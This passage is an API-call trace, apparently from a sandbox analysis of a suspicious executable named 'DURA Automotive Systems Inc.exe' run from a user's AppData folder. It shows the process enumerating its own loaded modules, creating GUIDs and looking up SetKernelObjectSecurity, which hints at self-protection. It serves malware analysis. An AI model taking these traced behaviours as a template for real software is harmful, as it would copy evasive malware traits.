	[0175.016] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x25c656c, cb=0xc | out: lpmodinfo=0x25c656c*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.016] GetLastError () returned 0x5
	[0175.016] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.016] GetLastError () returned 0x5
	[0175.017] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.017] GetLastError () returned 0x5
	[0175.017] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x25c76a4, cb=0xc | out: lpmodinfo=0x25c76a4*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.017] GetLastError () returned 0x5
	[0175.017] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.018] GetLastError () returned 0x5
	[0175.018] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.018] GetLastError () returned 0x5
	[0175.018] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x25c87a0, cb=0xc | out: lpmodinfo=0x25c87a0*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.018] GetLastError () returned 0x5
	[0175.018] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.019] GetLastError () returned 0x5
	[0175.019] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x758d0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0175.019] GetLastError () returned 0x5
	[0175.019] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76ad0000, lpmodinfo=0x25c9894, cb=0xc | out: lpmodinfo=0x25c9894*(lpBaseOfDll=0x76ad0000, SizeOfImage=0x100000, EntryPoint=0x76aeb6ed)) returned 1
	[0175.020] GetLastError () returned 0x5
	[0175.020] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76ad0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0175.020] GetLastError () returned 0x5
	[0175.020] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76ad0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0175.021] GetLastError () returned 0x5
	[0175.021] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75830000, lpmodinfo=0x25ca990, cb=0xc | out: lpmodinfo=0x25ca990*(lpBaseOfDll=0x75830000, SizeOfImage=0xa000, EntryPoint=0x758336a0)) returned 1
	[0175.021] GetLastError () returned 0x5
	[0175.021] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75830000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0175.021] GetLastError () returned 0x5
	[0175.021] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75830000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0175.022] GetLastError () returned 0x5
	[0175.022] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75790000, lpmodinfo=0x25cba7c, cb=0xc | out: lpmodinfo=0x25cba7c*(lpBaseOfDll=0x75790000, SizeOfImage=0x9d000, EntryPoint=0x757c3fd7)) returned 1
	[0175.022] GetLastError () returned 0x5
	[0175.022] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75790000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0175.023] GetLastError () returned 0x5
	[0175.023] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75790000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0175.023] GetLastError () returned 0x5
	[0175.023] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75730000, lpmodinfo=0x25ccc00, cb=0xc | out: lpmodinfo=0x25ccc00*(lpBaseOfDll=0x75730000, SizeOfImage=0x60000, EntryPoint=0x7574158f)) returned 1
	[0175.024] GetLastError () returned 0x5
	[0175.024] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75730000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0175.024] GetLastError () returned 0x5
	[0175.024] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75730000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0175.024] GetLastError () returned 0x5
	[0175.025] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74df0000, lpmodinfo=0x25cdcf4, cb=0xc | out: lpmodinfo=0x25cdcf4*(lpBaseOfDll=0x74df0000, SizeOfImage=0xcc000, EntryPoint=0x74df168b)) returned 1
	[0175.025] GetLastError () returned 0x5
	[0175.025] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74df0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0175.025] GetLastError () returned 0x5
	[0175.025] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74df0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0175.026] GetLastError () returned 0x5
	[0175.026] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74740000, lpmodinfo=0x25cede8, cb=0xc | out: lpmodinfo=0x25cede8*(lpBaseOfDll=0x74740000, SizeOfImage=0x5ab000, EntryPoint=0x74793dc0)) returned 1
	[0175.026] GetLastError () returned 0x5
	[0175.026] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74740000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0175.027] GetLastError () returned 0x5
	[0175.027] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74740000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0175.027] GetLastError () returned 0x5
	[0175.027] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74670000, lpmodinfo=0x25cff20, cb=0xc | out: lpmodinfo=0x25cff20*(lpBaseOfDll=0x74670000, SizeOfImage=0x9b000, EntryPoint=0x7467232b)) returned 1
	[0175.028] GetLastError () returned 0x5
	[0175.028] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74670000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0175.028] GetLastError () returned 0x5
	[0175.028] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74670000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0175.029] GetLastError () returned 0x5
	[0175.029] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75b00000, lpmodinfo=0x25d10b4, cb=0xc | out: lpmodinfo=0x25d10b4*(lpBaseOfDll=0x75b00000, SizeOfImage=0xc4a000, EntryPoint=0x75b81601)) returned 1
	[0175.029] GetLastError () returned 0x5
	[0175.029] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75b00000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0175.030] GetLastError () returned 0x5
	[0175.030] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75b00000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0175.031] GetLastError () returned 0x5
	[0175.031] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75180000, lpmodinfo=0x25d21b0, cb=0xc | out: lpmodinfo=0x25d21b0*(lpBaseOfDll=0x75180000, SizeOfImage=0x15c000, EntryPoint=0x751cba3d)) returned 1
	[0175.031] GetLastError () returned 0x5
	[0175.031] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75180000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0175.032] GetLastError () returned 0x5
	[0175.032] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75180000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0175.032] GetLastError () returned 0x5
	[0175.032] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d20000, lpmodinfo=0x25d32a4, cb=0xc | out: lpmodinfo=0x25d32a4*(lpBaseOfDll=0x74d20000, SizeOfImage=0xb000, EntryPoint=0x74d21992)) returned 1
	[0175.033] GetLastError () returned 0x5
	[0175.033] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d20000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0175.033] GetLastError () returned 0x5
	[0175.033] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d20000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0175.034] GetLastError () returned 0x5
	[0175.034] GetModuleInformation (in: hProcess=0x1e8, hModule=0x72be0000, lpmodinfo=0x25d43a0, cb=0xc | out: lpmodinfo=0x25d43a0*(lpBaseOfDll=0x72be0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0175.034] GetLastError () returned 0x5
	[0175.035] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x72be0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0175.035] GetLastError () returned 0x5
	[0175.035] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x72be0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0175.036] GetLastError () returned 0x5
	[0175.036] GetModuleInformation (in: hProcess=0x1e8, hModule=0x745f0000, lpmodinfo=0x25d5538, cb=0xc | out: lpmodinfo=0x25d5538*(lpBaseOfDll=0x745f0000, SizeOfImage=0x80000, EntryPoint=0x746037c9)) returned 1
	[0175.036] GetLastError () returned 0x5
	[0175.036] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x745f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0175.037] GetLastError () returned 0x5
	[0175.037] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x745f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0175.037] GetLastError () returned 0x5
	[0175.037] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74450000, lpmodinfo=0x25d6634, cb=0xc | out: lpmodinfo=0x25d6634*(lpBaseOfDll=0x74450000, SizeOfImage=0x5b000, EntryPoint=0x74494d48)) returned 1
	[0175.038] GetLastError () returned 0x5
	[0175.038] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74450000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0175.038] GetLastError () returned 0x5
	[0175.038] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74450000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0175.039] GetLastError () returned 0x5
	[0175.039] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73cb0000, lpmodinfo=0x25d776c, cb=0xc | out: lpmodinfo=0x25d776c*(lpBaseOfDll=0x73cb0000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0175.040] GetLastError () returned 0x5
	[0175.040] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73cb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0175.040] GetLastError () returned 0x5
	[0175.040] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73cb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0175.041] GetLastError () returned 0x5
	[0175.041] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73b10000, lpmodinfo=0x25d88f8, cb=0xc | out: lpmodinfo=0x25d88f8*(lpBaseOfDll=0x73b10000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0175.041] GetLastError () returned 0x5
	[0175.041] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73b10000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0175.042] GetLastError () returned 0x5
	[0175.042] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73b10000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0175.042] GetLastError () returned 0x5
	[0175.043] GetModuleInformation (in: hProcess=0x1e8, hModule=0x750f0000, lpmodinfo=0x25d9adc, cb=0xc | out: lpmodinfo=0x25d9adc*(lpBaseOfDll=0x750f0000, SizeOfImage=0x5000, EntryPoint=0x750f1438)) returned 1
	[0175.043] GetLastError () returned 0x5
	[0175.043] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x750f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0175.044] GetLastError () returned 0x5
	[0175.044] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x750f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0175.044] GetLastError () returned 0x5
	[0175.045] CloseHandle (hObject=0x1e8) returned 1
	[0175.045] GetLastError () returned 0x5
	[0175.049] CoCreateGuid (in: pguid=0x33d1b4 | out: pguid=0x33d1b4*(Data1=0xce76751e, Data2=0xa78b, Data3=0x4299, Data4=([0]=0x8a, [1]=0x32, [2]=0x2, [3]=0xb6, [4]=0xd2, [5]=0x36, [6]=0x6b, [7]=0x5))) returned 0x0
	[0175.058] CoCreateGuid (in: pguid=0x33d718 | out: pguid=0x33d718*(Data1=0xb013ccc9, Data2=0x621b, Data3=0x40a4, Data4=([0]=0xbc, [1]=0x37, [2]=0xf7, [3]=0x68, [4]=0x21, [5]=0x1b, [6]=0x2f, [7]=0x8a))) returned 0x0
	[0175.068] GetProcAddress (hModule=0x75690000, lpProcName="SetKernelObjectSecurity") returned 0x756a4645
	[0175.074] GetCurrentProcessId () returned 0x530
	[0175.074] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x530) returned 0x1e8
	[0175.075] GetLastError () returned 0xcb
	[0175.075] EnumProcessModules (in: hProcess=0x1e8, lphModule=0x25e6314, cb=0x100, lpcbNeeded=0x33dec4 | out: lphModule=0x25e6314, lpcbNeeded=0x33dec4) returned 1
	[0175.075] GetLastError () returned 0xcb
	[0175.075] GetModuleInformation (in: hProcess=0x1e8, hModule=0xb0000, lpmodinfo=0x25e6454, cb=0xc | out: lpmodinfo=0x25e6454*(lpBaseOfDll=0xb0000, SizeOfImage=0x40000, EntryPoint=0xe80ce)) returned 1
	[0175.075] GetLastError () returned 0xcb
	[0175.075] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0xb0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="DURA Automotive Systems Inc.exe") returned 0x1f
	[0175.075] GetLastError () returned 0xcb
	[0175.075] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0xb0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\dura automotive systems inc\\dura automotive systems inc.exe")) returned 0x5d
	[0175.075] GetLastError () returned 0xcb
	[0175.076] GetModuleInformation (in: hProcess=0x1e8, hModule=0x77230000, lpmodinfo=0x25e7614, cb=0xc | out: lpmodinfo=0x25e7614*(lpBaseOfDll=0x77230000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0175.076] GetLastError () returned 0xcb
	[0175.076] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x77230000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0175.076] GetLastError () returned 0xcb
	[0175.076] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x77230000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0175.076] GetLastError () returned 0xcb
	[0175.076] GetModuleInformation (in: hProcess=0x1e8, hModule=0x73910000, lpmodinfo=0x25e8708, cb=0xc | out: lpmodinfo=0x25e8708*(lpBaseOfDll=0x73910000, SizeOfImage=0x4a000, EntryPoint=0x73912e54)) returned 1
	[0175.076] GetLastError () returned 0xcb
	[0175.076] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x73910000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0175.077] GetLastError () returned 0xcb
	[0175.077] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x73910000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0175.077] GetLastError () returned 0xcb
	[0175.077] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75960000, lpmodinfo=0x25e9804, cb=0xc | out: lpmodinfo=0x25e9804*(lpBaseOfDll=0x75960000, SizeOfImage=0x110000, EntryPoint=0x759732d3)) returned 1
	[0175.077] GetLastError () returned 0xcb
	[0175.077] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75960000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0175.077] GetLastError () returned 0xcb
	[0175.078] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75960000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0175.078] GetLastError () returned 0xcb
	[0175.078] GetModuleInformation (in: hProcess=0x1e8, hModule=0x768a0000, lpmodinfo=0x25ea908, cb=0xc | out: lpmodinfo=0x25ea908*(lpBaseOfDll=0x768a0000, SizeOfImage=0x46000, EntryPoint=0x768a7478)) returned 1
	[0175.078] GetLastError () returned 0xcb
	[0175.078] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x768a0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0175.078] GetLastError () returned 0xcb
	[0175.078] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x768a0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0175.079] GetLastError () returned 0xcb
	[0175.079] GetModuleInformation (in: hProcess=0x1e8, hModule=0x75690000, lpmodinfo=0x25eba44, cb=0xc | out: lpmodinfo=0x25eba44*(lpBaseOfDll=0x75690000, SizeOfImage=0xa0000, EntryPoint=0x756a49e5)) returned 1
	[0175.079] GetLastError () returned 0xcb
	[0175.079] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x75690000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0175.079] GetLastError () returned 0xcb
	[0175.079] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x75690000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0175.079] GetLastError () returned 0xcb
	[0175.080] GetModuleInformation (in: hProcess=0x1e8, hModule=0x755e0000, lpmodinfo=0x25ecb48, cb=0xc | out: lpmodinfo=0x25ecb48*(lpBaseOfDll=0x755e0000, SizeOfImage=0xac000, EntryPoint=0x755ea472)) returned 1
	[0175.080] GetLastError () returned 0xcb
	[0175.080] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x755e0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0175.080] GetLastError () returned 0xcb
	[0175.080] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x755e0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0175.080] GetLastError () returned 0xcb
	[0175.080] GetModuleInformation (in: hProcess=0x1e8, hModule=0x767f0000, lpmodinfo=0x25edc44, cb=0xc | out: lpmodinfo=0x25edc44*(lpBaseOfDll=0x767f0000, SizeOfImage=0x19000, EntryPoint=0x767f4975)) returned 1
	[0175.081] GetLastError () returned 0xcb
	[0175.081] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x767f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0175.081] GetLastError () returned 0xcb
	[0175.081] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x767f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0175.081] GetLastError () returned 0xcb
	[0175.081] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74ec0000, lpmodinfo=0x25eed40, cb=0xc | out: lpmodinfo=0x25eed40*(lpBaseOfDll=0x74ec0000, SizeOfImage=0xf0000, EntryPoint=0x74ed0569)) returned 1
	[0175.082] GetLastError () returned 0xcb
	[0175.082] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74ec0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0175.082] GetLastError () returned 0xcb
	[0175.082] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74ec0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0175.082] GetLastError () returned 0xcb
	[0175.082] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d90000, lpmodinfo=0x25efe8c, cb=0xc | out: lpmodinfo=0x25efe8c*(lpBaseOfDll=0x74d90000, SizeOfImage=0x60000, EntryPoint=0x74daa3b3)) returned 1
	[0175.083] GetLastError () returned 0xcb
	[0175.083] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d90000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0175.083] GetLastError () returned 0xcb
	[0175.083] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d90000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0175.083] GetLastError () returned 0xcb
	[0175.084] GetModuleInformation (in: hProcess=0x1e8, hModule=0x74d80000, lpmodinfo=0x25f0f88, cb=0xc | out: lpmodinfo=0x25f0f88*(lpBaseOfDll=0x74d80000, SizeOfImage=0xc000, EntryPoint=0x74d810e1)) returned 1
	[0175.084] GetLastError () returned 0xcb
	[0175.084] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x74d80000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0175.084] GetLastError () returned 0xcb
	[0175.084] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x74d80000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0175.085] GetLastError () returned 0xcb
	[0175.085] GetModuleInformation (in: hProcess=0x1e8, hModule=0x736f0000, lpmodinfo=0x25f208c, cb=0xc | out: lpmodinfo=0x25f208c*(lpBaseOfDll=0x736f0000, SizeOfImage=0x7a000, EntryPoint=0x736f1f48)) returned 1
	[0175.085] GetLastError () returned 0xcb
	[0175.085] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x736f0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0175.085] GetLastError () returned 0xcb
	[0175.086] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x736f0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0175.086] GetLastError () returned 0xcb
	[0175.086] GetModuleInformation (in: hProcess=0x1e8, hModule=0x76bd0000, lpmodinfo=0x25f31c4, cb=0xc | out: lpmodinfo=0x25f31c4*(lpBaseOfDll=0x76bd0000, SizeOfImage=0x57000, EntryPoint=0x76be9ba6)) returned 1
	[0175.086] GetLastError () returned 0xcb
	[0175.086] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x76bd0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0175.087] GetLastError () returned 0xcb
	[0175.087] GetModuleFileNameExW (in: hProcess=0x1e8, hModule=0x76bd0000, lpFilename=0x5b5c60, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0175.087] GetLastError () returned 0xcb
	[0175.087] GetModuleInformation (in: hProcess=0x1e8, hModule=0x758d0000, lpmodinfo=0x25f42c0, cb=0xc | out: lpmodinfo=0x25f42c0*(lpBaseOfDll=0x758d0000, SizeOfImage=0x90000, EntryPoint=0x758e6343)) returned 1
	[0175.087] GetLastError () returned 0xcb
	[0175.088] GetModuleBaseNameW (in: hProcess=0x1e8, hModule=0x758d0000, lpBaseName=0x5b5c60, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0175.088] GetLastError () returned 0xcb
